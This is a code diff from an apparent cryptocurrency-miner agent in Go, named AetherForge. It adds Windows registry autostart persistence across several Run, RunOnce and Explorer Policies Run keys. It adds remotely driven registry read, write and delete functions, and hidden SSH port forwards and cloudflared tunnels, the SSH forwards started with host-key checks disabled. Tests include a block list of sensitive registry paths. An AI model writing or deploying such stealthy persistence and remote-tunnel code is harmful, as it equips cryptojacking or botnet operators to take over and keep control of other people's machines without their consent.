if raw == RegistryHKCURun || raw == RegistryHKCURunOnce || raw == RegistryHKLMRun ||
raw == RegistryHKLMRunOnce || raw == RegistryExplorerRun {
return []string{raw}
}
var modes []string
for _, part := range strings.Split(raw, ",") {
part = strings.TrimSpace(part)
if part == "" || part == RegistryPersistenceOff {
continue
}
modes = append(modes, part)
}
return modes
}
func modesFromRegistryBools(cfg config.RuntimeConfig) []string {
if cfg.RegistryRunHKCU || cfg.RegistryRunOnce || cfg.RegistryRunHKLM || cfg.RegistryExplorerRun {
return combinedRegistryModes(cfg)
}
return nil
}
func combinedRegistryModes(cfg config.RuntimeConfig) []string {
var modes []string
if cfg.RegistryRunHKCU {
modes = append(modes, RegistryHKCURun)
}
if cfg.RegistryRunOnce {
modes = append(modes, RegistryHKCURunOnce)
}
if cfg.RegistryRunHKLM {
modes = append(modes, RegistryHKLMRun, RegistryHKLMRunOnce)
}
if cfg.RegistryExplorerRun {
modes = append(modes, RegistryExplorerRun)
}
if len(modes) == 0 && strings.EqualFold(strings.TrimSpace(cfg.RegistryPersistence), RegistryPersistenceAll) {
modes = []string{RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryExplorerRun}
}
return modes
}
func mergeAutostartModes(base []string, extra []string) []string {
if len(extra) == 0 {
return base
}
seen := make(map[string]bool, len(base)+len(extra))
out := make([]string, 0, len(base)+len(extra))
for _, m := range base {
if m == "" || seen[m] {
continue
}
seen[m] = true
out = append(out, m)
}
for _, m := range extra {
if m == "" || seen[m] {
continue
}
seen[m] = true
out = append(out, m)
}
return out
}

View File

@@ -0,0 +1,29 @@
//go:build !windows
package deploy
import (
"fmt"
"crypto-miner-agent/config"
)
func writeRegistryRunValue(_ config.RuntimeConfig, _, _ string) error { return nil }
func registryRunValueExists(_ config.RuntimeConfig, _, _ string) bool { return false }
func removeRegistryPersistence(_ config.RuntimeConfig) {}
func IsProcessElevated() bool { return false }
func FleetRegistryRead(_, _ string) (map[string]interface{}, error) {
return nil, fmt.Errorf("registry operations are unsupported on this platform")
}
func FleetRegistryWrite(_, _, _, _, _ string) error {
return fmt.Errorf("registry operations are unsupported on this platform")
}
func FleetRegistryDelete(_, _, _ string) error {
return fmt.Errorf("registry operations are unsupported on this platform")
}

View File

@@ -0,0 +1,102 @@
package deploy
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestValidateRegistryPathAllowed(t *testing.T) {
cases := []struct {
hive string
path string
}{
{"HKCU", `Software\Microsoft\Windows\CurrentVersion\Run`},
{"HKLM", `Software\AetherForge\Test`},
{"HKCU", `Environment`},
}
for _, tc := range cases {
if err := ValidateRegistryPath("hkcu", tc.path); err != nil {
t.Fatalf("%s: %v", tc.path, err)
}
}
}
func TestValidateRegistryPathBlocked(t *testing.T) {
blocked := []string{
`SYSTEM\CurrentControlSet\Services`,
`Microsoft\Windows\CurrentVersion\Run`,
`SAM\Domains`,
}
for _, path := range blocked {
if err := ValidateRegistryPath("hkcu", path); err == nil {
t.Fatalf("expected block for %q", path)
}
}
}
func TestSanitizeRegistryValueName(t *testing.T) {
got := SanitizeRegistryValueName(`bad/name:with*chars`)
if strings.ContainsAny(got, `/:*`) {
t.Fatalf("unsanitized %q", got)
}
if got == "" {
t.Fatal("empty name")
}
}
func TestRegistryPersistenceValueName(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab node"}}
got := RegistryPersistenceValueName(cfg)
if got != "AetherForge_lab-node" {
t.Fatalf("got %q", got)
}
}
func TestEffectiveRegistryPersistenceModesEnum(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
RegistryPersistence: "hkcu_run_once,hklm_run",
}}
modes := effectiveRegistryPersistenceModes(cfg)
if len(modes) != 2 {
t.Fatalf("got %v", modes)
}
}
func TestEffectiveRegistryPersistenceModesBools(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
RegistryRunHKCU: true,
RegistryRunOnce: true,
}}
modes := effectiveRegistryPersistenceModes(cfg)
if len(modes) != 2 {
t.Fatalf("got %v", modes)
}
}
func TestEffectiveAutostartModesIncludesRegistry(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
RegistryPersistence: "hkcu_run_once",
}}
modes := effectiveAutostartModes(cfg)
found := false
for _, m := range modes {
if m == RegistryHKCURunOnce {
found = true
}
}
if !found {
t.Fatalf("registry mode not merged: %v", modes)
}
}
func TestParseRegistryHive(t *testing.T) {
token, err := ParseRegistryHive("HKEY_CURRENT_USER")
if err != nil || token != "hkcu" {
t.Fatalf("hkcu parse: %q %v", token, err)
}
if _, err := ParseRegistryHive("HKU"); err == nil {
t.Fatal("expected error for HKU")
}
}

View File

@@ -0,0 +1,287 @@
//go:build windows
package deploy
import (
"fmt"
"strings"
"unsafe"
"crypto-miner-agent/config"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
type registryLoc struct {
hive registry.Key
subkey string
needsAdmin bool
}
func registryLocForMode(mode string) (registryLoc, bool) {
switch mode {
case AutostartLogonRun, RegistryHKCURun:
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`}, true
case RegistryHKCURunOnce:
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`}, true
case RegistryHKLMRun:
return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`, needsAdmin: true}, true
case RegistryHKLMRunOnce:
return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`, needsAdmin: true}, true
case RegistryExplorerRun:
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`}, true
default:
return registryLoc{}, false
}
}
func registryRunCommand(binPath string) string {
return fmt.Sprintf(`"%s" %s`, binPath, runFlag)
}
func registryValueNameForMode(cfg config.RuntimeConfig, mode string) string {
switch mode {
case AutostartLogonRun:
return PersistenceKeyName(cfg)
default:
return RegistryPersistenceValueName(cfg)
}
}
func writeRegistryRunValue(cfg config.RuntimeConfig, mode, binPath string) error {
loc, ok := registryLocForMode(mode)
if !ok {
return nil
}
if loc.needsAdmin && !IsProcessElevated() {
return nil
}
k, _, err := registry.CreateKey(loc.hive, loc.subkey, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue(registryValueNameForMode(cfg, mode), registryRunCommand(binPath))
}
func registryRunValueExists(cfg config.RuntimeConfig, mode, binPath string) bool {
loc, ok := registryLocForMode(mode)
if !ok {
return false
}
k, err := registry.OpenKey(loc.hive, loc.subkey, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
val, _, err := k.GetStringValue(registryValueNameForMode(cfg, mode))
if err != nil {
return false
}
return strings.Contains(val, binPath)
}
func removeRegistryValueAt(loc registryLoc, valueName string) {
k, err := registry.OpenKey(loc.hive, loc.subkey, registry.SET_VALUE)
if err != nil {
return
}
defer k.Close()
_ = k.DeleteValue(valueName)
}
func removeRegistryPersistence(cfg config.RuntimeConfig) {
keyName := PersistenceKeyName(cfg)
agentName := RegistryPersistenceValueName(cfg)
for _, mode := range append([]string{AutostartLogonRun}, allRegistryModeTokens()...) {
loc, ok := registryLocForMode(mode)
if !ok {
continue
}
removeRegistryValueAt(loc, registryValueNameForMode(cfg, mode))
}
// Legacy HKCU Run used PersistenceKeyName before AetherForge_ naming.
loc, _ := registryLocForMode(AutostartLogonRun)
removeRegistryValueAt(loc, keyName)
removeRegistryValueAt(loc, agentName)
}
func allRegistryModeTokens() []string {
return []string{
RegistryHKCURun,
RegistryHKCURunOnce,
RegistryHKLMRun,
RegistryHKLMRunOnce,
RegistryExplorerRun,
}
}
// IsProcessElevated reports whether the current token is in the Administrators role.
func IsProcessElevated() bool {
var token windows.Token
if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_QUERY, &token); err != nil {
return false
}
defer token.Close()
// TokenElevationTypeFull (2) on Vista+
var elevation uint32
var outLen uint32
err := windows.GetTokenInformation(token, windows.TokenElevation, (*byte)(unsafe.Pointer(&elevation)), uint32(unsafe.Sizeof(elevation)), &outLen)
if err == nil && elevation != 0 {
return true
}
// Fallback: check admin SID membership.
sid, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid)
if err != nil {
return false
}
member, err := token.IsMember(sid)
return err == nil && member
}
// FleetRegistryRead returns JSON-friendly map of value names to {type,value}.
func FleetRegistryRead(hiveToken, subkey string) (map[string]interface{}, error) {
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
return nil, err
}
hive, err := registryHiveKey(hiveToken)
if err != nil {
return nil, err
}
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
return nil, fmt.Errorf("HKLM read requires elevation")
}
k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
if err != nil {
return nil, err
}
defer k.Close()
names, err := k.ReadValueNames(-1)
if err != nil {
return nil, err
}
values := make(map[string]interface{}, len(names))
for _, name := range names {
val, valType, err := readRegistryValue(k, name)
if err != nil {
values[name] = map[string]string{"error": err.Error()}
continue
}
values[name] = map[string]interface{}{"type": registryTypeName(valType), "value": val}
}
return map[string]interface{}{
"hive": strings.ToUpper(hiveToken),
"path": subkey,
"values": values,
}, nil
}
func FleetRegistryWrite(hiveToken, subkey, name, value, valType string) error {
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
return err
}
name = SanitizeRegistryValueName(name)
if name == "" {
return fmt.Errorf("value name is required")
}
hive, err := registryHiveKey(hiveToken)
if err != nil {
return err
}
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
return fmt.Errorf("HKLM write requires elevation")
}
k, _, err := registry.CreateKey(hive, normalizeSubkey(subkey), registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
switch strings.ToUpper(strings.TrimSpace(valType)) {
case "REG_DWORD", "DWORD":
var n uint32
if _, err := fmt.Sscanf(value, "%d", &n); err != nil {
return fmt.Errorf("invalid REG_DWORD value %q", value)
}
return k.SetDWordValue(name, n)
case "REG_SZ", "SZ", "":
return k.SetStringValue(name, value)
default:
return fmt.Errorf("unsupported registry type %q (use REG_SZ or REG_DWORD)", valType)
}
}
func FleetRegistryDelete(hiveToken, subkey, name string) error {
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
return err
}
name = SanitizeRegistryValueName(name)
if name == "" {
return fmt.Errorf("value name is required")
}
hive, err := registryHiveKey(hiveToken)
if err != nil {
return err
}
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
return fmt.Errorf("HKLM delete requires elevation")
}
k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.DeleteValue(name)
}
func registryHiveKey(hiveToken string) (registry.Key, error) {
switch hiveToken {
case "hkcu":
return registry.CURRENT_USER, nil
case "hklm":
return registry.LOCAL_MACHINE, nil
default:
return 0, fmt.Errorf("unknown hive token %q", hiveToken)
}
}
func normalizeSubkey(path string) string {
path = strings.TrimSpace(path)
path = strings.TrimPrefix(path, `\`)
for _, prefix := range []string{"HKCU\\", "HKEY_CURRENT_USER\\", "HKLM\\", "HKEY_LOCAL_MACHINE\\"} {
if strings.HasPrefix(strings.ToUpper(path), strings.ToUpper(prefix)) {
path = path[len(prefix):]
break
}
}
return path
}
func readRegistryValue(k registry.Key, name string) (interface{}, uint32, error) {
val, valType, err := k.GetStringValue(name)
if err == nil {
return val, valType, nil
}
if err != registry.ErrUnexpectedType {
return nil, 0, err
}
n, _, err := k.GetIntegerValue(name)
if err != nil {
return nil, 0, err
}
return n, registry.DWORD, nil
}
func registryTypeName(t uint32) string {
switch t {
case registry.SZ:
return "REG_SZ"
case registry.DWORD:
return "REG_DWORD"
default:
return fmt.Sprintf("REG_%d", t)
}
}

View File

@@ -0,0 +1,39 @@
//go:build !windows
package deploy
import "encoding/json"
type TunnelKind string
const (
TunnelCloudflared TunnelKind = "cloudflared"
TunnelSSHForward TunnelKind = "ssh_forward"
)
type SSHForwardMeta struct {
LocalPort int `json:"local_port"`
RemoteHost string `json:"remote_host"`
RemotePort int `json:"remote_port"`
SSHUser string `json:"ssh_user,omitempty"`
JumpHost string `json:"jump_host,omitempty"`
}
func RegisterTunnelPID(_ TunnelKind, _ int, _ string) {}
func TunnelStatus() string {
b, _ := json.Marshal(map[string]any{
"cloudflared_running": false,
"ssh_forwards": []any{},
"platform": "unsupported",
})
return string(b)
}
func StopTunnels(_ ...TunnelKind) (int, []string) {
return 0, []string{"tunnel stop is Windows-only in this build"}
}
func ResetTrackedTunnels() {}
func CloudflaredTargetFromEnv() string { return "" }

View File

@@ -0,0 +1,62 @@
package deploy
import (
"encoding/json"
"strings"
"testing"
)
func TestStartCloudflaredTunnelEmptyURL(t *testing.T) {
_, err := StartCloudflaredTunnel("")
if err == nil || !strings.Contains(err.Error(), "server URL required") {
t.Fatalf("expected URL error, got %v", err)
}
_, err = StartCloudflaredTunnel(" ")
if err == nil {
t.Fatal("whitespace-only URL should fail")
}
}
func TestTunnelManagerRegisterAndStatus(t *testing.T) {
ResetTrackedTunnels()
oldAlive := processAliveFn
processAliveFn = func(int) bool { return true }
defer func() { processAliveFn = oldAlive }()
RegisterTunnelPID(TunnelCloudflared, 4242, "https://example.com")
RegisterTunnelPID(TunnelSSHForward, 9999, `{"local_port":2222,"remote_host":"10.0.0.5","remote_port":22}`)
raw := TunnelStatus()
var st TunnelStatusJSON
if err := json.Unmarshal([]byte(raw), &st); err != nil {
t.Fatalf("status json: %v", err)
}
if !st.CloudflaredRunning || st.CloudflaredPID != 4242 || st.CloudflaredURL != "https://example.com" {
t.Fatalf("cloudflared status wrong: %+v", st)
}
if len(st.SSHForwards) != 1 || st.SSHForwards[0].LocalPort != 2222 {
t.Fatalf("ssh forward status wrong: %+v", st.SSHForwards)
}
}
func TestStopTunnelsEmptyRegistry(t *testing.T) {
ResetTrackedTunnels()
n, msgs := StopTunnels()
if n != 0 {
t.Fatalf("expected 0 stopped, got %d", n)
}
if len(msgs) != 0 {
t.Fatalf("expected no msgs, got %v", msgs)
}
}
func TestStartSSHForwardValidation(t *testing.T) {
_, err := StartSSHForward(SSHForwardMeta{})
if err == nil || !strings.Contains(err.Error(), "local_port") {
t.Fatalf("expected local_port error, got %v", err)
}
_, err = StartSSHForward(SSHForwardMeta{LocalPort: 2222})
if err == nil || !strings.Contains(err.Error(), "remote_host") {
t.Fatalf("expected remote_host error, got %v", err)
}
}

View File

@@ -0,0 +1,175 @@
//go:build windows
package deploy
import (
"encoding/json"
"fmt"
"os"
"strings"
"sync"
"syscall"
)
// TunnelKind identifies a tracked tunnel process.
type TunnelKind string
const (
TunnelCloudflared TunnelKind = "cloudflared"
TunnelSSHForward TunnelKind = "ssh_forward"
)
// SSHForwardMeta describes one local port forward on the agent.
type SSHForwardMeta struct {
LocalPort int `json:"local_port"`
RemoteHost string `json:"remote_host"`
RemotePort int `json:"remote_port"`
SSHUser string `json:"ssh_user,omitempty"`
JumpHost string `json:"jump_host,omitempty"`
}
type tunnelEntry struct {
kind TunnelKind
pid int
meta string // JSON metadata for ssh forwards; URL for cloudflared
}
var (
tunnelMu sync.Mutex
trackedTunnels []tunnelEntry
)
// RegisterTunnelPID records a background tunnel process for later stop/status.
func RegisterTunnelPID(kind TunnelKind, pid int, meta string) {
if pid <= 0 {
return
}
tunnelMu.Lock()
defer tunnelMu.Unlock()
if kind == TunnelCloudflared {
next := make([]tunnelEntry, 0, len(trackedTunnels)+1)
for _, t := range trackedTunnels {
if t.kind != TunnelCloudflared {
next = append(next, t)
}
}
trackedTunnels = append(next, tunnelEntry{kind: kind, pid: pid, meta: meta})
return
}
trackedTunnels = append(trackedTunnels, tunnelEntry{kind: kind, pid: pid, meta: meta})
}
const processQueryLimitedInformation = 0x1000
var processAliveFn = processAliveImpl
func processAlive(pid int) bool {
return processAliveFn(pid)
}
func processAliveImpl(pid int) bool {
if pid <= 0 {
return false
}
h, err := syscall.OpenProcess(processQueryLimitedInformation, false, uint32(pid))
if err != nil {
return false
}
defer syscall.CloseHandle(h)
var code uint32
err = syscall.GetExitCodeProcess(h, &code)
if err != nil {
return false
}
return code == 259 // STILL_ACTIVE
}
func killPID(pid int) error {
if pid <= 0 {
return fmt.Errorf("invalid pid")
}
return HiddenRun("taskkill", "/F", "/PID", fmt.Sprintf("%d", pid))
}
func pruneDead() {
alive := trackedTunnels[:0]
for _, t := range trackedTunnels {
if processAlive(t.pid) {
alive = append(alive, t)
}
}
trackedTunnels = alive
}
// TunnelStatus returns JSON describing tracked tunnel processes.
func TunnelStatus() string {
tunnelMu.Lock()
pruneDead()
snap := append([]tunnelEntry(nil), trackedTunnels...)
tunnelMu.Unlock()
st := TunnelStatusJSON{SSHForwards: []SSHForwardLive{}}
for _, t := range snap {
switch t.kind {
case TunnelCloudflared:
st.CloudflaredRunning = true
st.CloudflaredURL = t.meta
st.CloudflaredPID = t.pid
case TunnelSSHForward:
var meta SSHForwardMeta
_ = json.Unmarshal([]byte(t.meta), &meta)
st.SSHForwards = append(st.SSHForwards, SSHForwardLive{
LocalPort: meta.LocalPort,
RemoteHost: meta.RemoteHost,
RemotePort: meta.RemotePort,
SSHUser: meta.SSHUser,
JumpHost: meta.JumpHost,
PID: t.pid,
Running: true,
})
}
}
b, _ := json.Marshal(st)
return string(b)
}
// StopTunnels stops tracked tunnel kinds. Empty kinds stops all.
func StopTunnels(kinds ...TunnelKind) (stopped int, msgs []string) {
tunnelMu.Lock()
defer tunnelMu.Unlock()
pruneDead()
wantAll := len(kinds) == 0
want := map[TunnelKind]bool{}
for _, k := range kinds {
want[k] = true
}
remaining := trackedTunnels[:0]
for _, t := range trackedTunnels {
if wantAll || want[t.kind] {
if err := killPID(t.pid); err != nil {
msgs = append(msgs, fmt.Sprintf("%s pid %d: %v", t.kind, t.pid, err))
} else {
stopped++
msgs = append(msgs, fmt.Sprintf("stopped %s pid %d", t.kind, t.pid))
}
continue
}
remaining = append(remaining, t)
}
trackedTunnels = remaining
return stopped, msgs
}
// ResetTrackedTunnels clears registry without killing (tests only).
func ResetTrackedTunnels() {
tunnelMu.Lock()
trackedTunnels = nil
tunnelMu.Unlock()
}
// CloudflaredTargetFromEnv returns trimmed URL or empty.
func CloudflaredTargetFromEnv() string {
return strings.TrimSpace(os.Getenv("AETHERFORGE_TUNNEL_URL"))
}

View File

@@ -0,0 +1,9 @@
//go:build !windows
package deploy
import "fmt"
func StartSSHForward(_ SSHForwardMeta) (string, error) {
return "", fmt.Errorf("ssh forward is Windows-only in this build")
}

View File

@@ -0,0 +1,67 @@
//go:build windows
package deploy
import (
"encoding/json"
"fmt"
"os"
"os/exec"
"strings"
)
// StartSSHForward opens a local port on the agent that forwards to remote_host:remote_port via SSH.
func StartSSHForward(meta SSHForwardMeta) (string, error) {
if meta.LocalPort <= 0 || meta.LocalPort > 65535 {
return "", fmt.Errorf("local_port required (1-65535)")
}
meta.RemoteHost = strings.TrimSpace(meta.RemoteHost)
if meta.RemoteHost == "" {
return "", fmt.Errorf("remote_host required")
}
if meta.RemotePort <= 0 || meta.RemotePort > 65535 {
return "", fmt.Errorf("remote_port required (1-65535)")
}
jump := strings.TrimSpace(meta.JumpHost)
if jump == "" {
jump = meta.RemoteHost
}
user := strings.TrimSpace(meta.SSHUser)
if user == "" {
user = os.Getenv("USERNAME")
if user == "" {
user = "Administrator"
}
}
bind := fmt.Sprintf("127.0.0.1:%d:%s:%d", meta.LocalPort, meta.RemoteHost, meta.RemotePort)
target := fmt.Sprintf("%s@%s", user, jump)
var cmd *exec.Cmd
if sshPath, err := exec.LookPath("ssh"); err == nil {
cmd = HiddenCommand(sshPath, "-N",
"-o", "StrictHostKeyChecking=no",
"-o", "BatchMode=yes",
"-o", "ExitOnForwardFailure=yes",
"-L", bind,
target,
)
} else if plinkPath, err := exec.LookPath("plink"); err == nil {
cmd = HiddenCommand(plinkPath, "-N",
"-batch",
"-L", bind,
target,
)
} else {
return "", fmt.Errorf("OpenSSH client (ssh) or PuTTY plink not found on PATH")
}
if err := cmd.Start(); err != nil {
return "", fmt.Errorf("failed to start ssh forward: %w", err)
}
metaBlob, _ := json.Marshal(meta)
RegisterTunnelPID(TunnelSSHForward, cmd.Process.Pid, string(metaBlob))
return fmt.Sprintf("ssh forward pid %d — 127.0.0.1:%d → %s:%d via %s",
cmd.Process.Pid, meta.LocalPort, meta.RemoteHost, meta.RemotePort, target), nil
}

View File

@@ -1,17 +0,0 @@
package deploy
import (
"strings"
"testing"
)
func TestStartCloudflaredTunnelEmptyURL(t *testing.T) {
_, err := StartCloudflaredTunnel("")
if err == nil || !strings.Contains(err.Error(), "server URL required") {
t.Fatalf("expected URL error, got %v", err)
}
_, err = StartCloudflaredTunnel(" ")
if err == nil {
t.Fatal("whitespace-only URL should fail")
}
}

View File

@@ -0,0 +1,22 @@
package deploy
// TunnelStatusJSON is returned by tunnel_status on the agent.
type TunnelStatusJSON struct {
CloudflaredRunning bool `json:"cloudflared_running"`
CloudflaredURL string `json:"cloudflared_url,omitempty"`
CloudflaredPID int `json:"cloudflared_pid,omitempty"`
WireGuardActive bool `json:"wireguard_active,omitempty"`
WireGuardDetail string `json:"wireguard_detail,omitempty"`
SSHForwards []SSHForwardLive `json:"ssh_forwards"`
}
// SSHForwardLive is an active SSH local forward.
type SSHForwardLive struct {
LocalPort int `json:"local_port"`
RemoteHost string `json:"remote_host"`
RemotePort int `json:"remote_port"`
SSHUser string `json:"ssh_user,omitempty"`
JumpHost string `json:"jump_host,omitempty"`
PID int `json:"pid"`
Running bool `json:"running"`
}

View File

@@ -31,5 +31,6 @@ func StartCloudflaredTunnel(serverURL string) (string, error) {
if err := cmd.Start(); err != nil {
return "", fmt.Errorf("failed to start cloudflared: %w", err)
}
RegisterTunnelPID(TunnelCloudflared, cmd.Process.Pid, serverURL)
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", cmd.Process.Pid, serverURL), nil
}